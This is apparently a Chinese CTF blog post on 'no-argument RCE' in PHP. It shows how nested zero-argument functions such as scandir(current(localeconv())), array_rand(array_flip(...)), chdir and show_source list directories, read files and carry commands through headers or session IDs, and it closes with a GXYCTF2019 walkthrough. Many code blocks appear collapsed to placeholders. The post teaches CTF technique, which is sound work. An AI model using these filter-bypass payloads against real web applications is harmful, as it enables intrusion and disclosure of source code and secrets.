无参数rce
这是今天打tgctf2025题的时候,遇到的问题,秉持着遇到问题就解决的思想,写下这篇博客,系统的研究无参数rce,废话不多说
什么是无参数
就是使用函数的时候不能带有参数,具体来说就是各种函数的嵌套,利用各种函数的返回值
常见函数
1 | 目录操作: |
getallheaders()
这个函数的作用是获取http
所有的头部信息,也就是headers
,然后我们可以用var_dump
把它打印出来,但这个有个限制条件就是必须在apache
的环境下可以使用,其它环境都是用不了的
1 | plaintext |
数组会返回 HTTP 请求头。
get_defined_vars()
1 | getallheaders()`是有局限性的,因为如果中间件不是`apache`的话,它就用不了了,那我们就介绍一种更为普遍的方法`get_defined_vars()`,这种方法其实和上面那种方法原理是差不多的,它并不是获取的`headers`,而是获取的四个全局变量`$_GET $_POST $_FILES $_COOKIE |
var_dump
可以把返回数组打印出来。
getenv()
获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本
1 | plaintext |
php7.0以下返回bool(false)
php7.0以上正常回显。
1 | plaintext |
phpinfo()可以获取所有环境变量。
scandir()
文件读取
查看当前目录文件名
1 | plaintext |
读取当前目录文件
1 | plaintext |
查看上一级目录文件名
1 | plaintext |
读取上级目录文件
1 | plaintext |
payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径
无参数读取文件
查看当前目录
1 | print_r(getcwd()); |
print_r(scandir('.'))
查看当前目录下所有文件,以数组的形式输出。
但是要怎么构造.呢
使用localeconv()
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是 .
current() 返回数组中的单元,默认第一个值。
所以我们输出
print_r(scandir(current(localeconv())));
也会如同print_r(scandir('.'))
打印当前目录下文件名。使用
print_r(scandir(pos(localeconv())));
,pos是current的别名reset()
函数将内部指针指向数组中的第一个元素,并输出。相关的方法:
查看和读取根目录文件
所获得的字符串第一位有几率是/,需要多试几次
1 | php |
current()和pos()
pos()
函数是current()
函数的别名,两者是完全一样的,
它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值。
chdir()
这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()
会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir
切就好了,如果要向上跳就要构造chdir('..')
array_reverse()
将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()
highlight_file()
打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的
查看上级目录方法一:dirname()
从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径
1 | ?code=print_r(scandir(dirname(getcwd()))); |
方法二:构造”..”
1 | print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件 |
chdir() :改变当前工作目录
直接print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录
1 | show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
读取目录的函数
1 | show_source() |
无参数命令执行(RCE)
用其他变量辅佐eval传入参数
1 | $_POST |
getallheaders()
getallheaders()获取全部 HTTP 请求头信息
apache_response_headers() 获得全部 HTTP 响应头信息
这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。
get_defined_vars()
它能获取到以下变量
1 | $_GET |
如何利用file变量进行rce呢?
1 | import requests |
session_id()
session_id(): 可以用来获取/设置 当前会话 ID。
session需要使用session_start()开启,然后返回参数给session_id()
但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)
但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可
(PHP5.5 -7.1.9可行)
1 | ?code=show_source(session_id(session_start())); |
其他版本可考虑用hex2bin()
将十六进制形式的命令还原。
1 | import requests |
getenv()
getenv() 获取一个环境变量的值(只适用于7.1以后版本)
通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。
那么如何读取其他文件
- array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
- array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组。
1 | readfile(array_rand(array_flip(scandir(getcwd())))); |
如果目标文件不在当前目录呢?
dirname() :返回路径中的目录部分,
从图中可以看出,如果传入的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径
chdir() :改变当前工作目录
1
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
构造”..”
print_r(next(scandir(getcwd())));:我们scandir(getcwd())出现的数组第二个就是”..”,所以可以用next()获取
1
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件
结合上文的一些构造都是可以获得”..”的 :
1
next(scandir(chr(ord(hebrevc(crypt(time()))))))
读取上级目录文件
直接
print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));
是不可以的,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要先改变当前工作目录,前面写到了chdir(),使用:1
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
如果不能使用dirname(),可以使用构造”..”的方式切换路径并读取:
但是这里切换路径后getcwd()和localeconv()不能接收参数,因为语法不允许,我们可以用之前的hebrevc(crypt(arg))
1
2
3
4
5show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
或更复杂的:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
还可以用:
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位还有:
1
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
三、实战例题-[GXYCTF2019]禁止套娃
这道题目打开就是一个普通的页面,经过目录扫描会发现是git源码泄露,用Githack
把源码弄出来:
1 | php |
代码分析
首先看第一行关键代码:
1 | plaintext |
很明显,大概意思就是不让我们用伪协议去写或者是读文件。
然后看第二行关键代码:
1 | plaintext |
再看第二个正则,中间有一个(?R),这个式子他会递归调用当前的正则表达式,就是说会出现\w+((?R)?),\w+(\w+((?R)?))的情况,也就是无参数函数校验。
最后第三行关键代码:
1 | plaintext |
就是屏蔽了一些函数名的关键字之类的东西。
分析完成我们整理一下:不能用伪协议 、只能用无参数函数形式、注意函数过滤
解题步骤
首先遍历当前目录:
1 | plaintext |
顺利得到目录。
方法一:
可以看到flag.php
是倒数第二个,那我们把它反转一下,然后再用一个next()
就是flag.php
这个文件了:
1 | plaintext |
已经很接近答案了,用highlight_file
读取这个文件就拿到flag了:
1 | plaintext |
思路总结
1 | plaintext |
方法二:
我们已经知道了flag就在当前目录下了。array_rand()
函数可以随机读取一个数组键,array_flip()
又可以将数组中的键和值进行对换。
用这两个函数就可以实现对flag.php的读取。最后payload如下:
1 | plaintext |
因为array_rand()
的选取是随机的,所以不一定会直接出来,多刷新几次就可以了